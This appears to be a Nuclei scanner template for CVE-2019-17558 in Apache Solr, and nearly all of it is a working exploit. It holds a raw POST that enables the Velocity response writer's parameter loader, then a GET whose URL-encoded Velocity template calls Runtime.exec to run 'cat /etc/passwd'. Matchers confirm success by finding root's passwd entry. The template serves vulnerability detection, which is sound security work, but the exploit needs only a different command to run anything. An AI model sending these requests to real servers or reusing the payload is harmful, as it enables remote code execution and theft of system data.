59 lines
2.2 KiB
YAML
59 lines
2.2 KiB
YAML
id: CVE-2019-17558
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info:
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name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
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author: pikpikcu
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severity: critical
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# Refrense:https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
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# https://nvd.nist.gov/vuln/detail/CVE-2019-17558
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# Issues:-https://issues.apache.org/jira/browse/SOLR-13971
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requests:
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- raw: # Request: set "params.resource.loader.enabled"
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- |
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POST /solr/atom/config HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Connection: close
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Content-Type: application/json
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Content-Length: 259
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Upgrade-Insecure-Requests: 1
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{
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"update-queryresponsewriter": {
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"startup": "lazy",
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"name": "velocity",
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"class": "solr.VelocityResponseWriter",
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"template.base.dir": "",
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"solr.resource.loader.enabled": "true",
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"params.resource.loader.enabled": "true"
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}
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}
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# RCE via velocity template:
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# Get /etc/passwd
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GET /solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Connection: close
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Upgrade-Insecure-Requests: 1
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: regex
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regex:
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- "root:[x*]:0:0:"
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part: body
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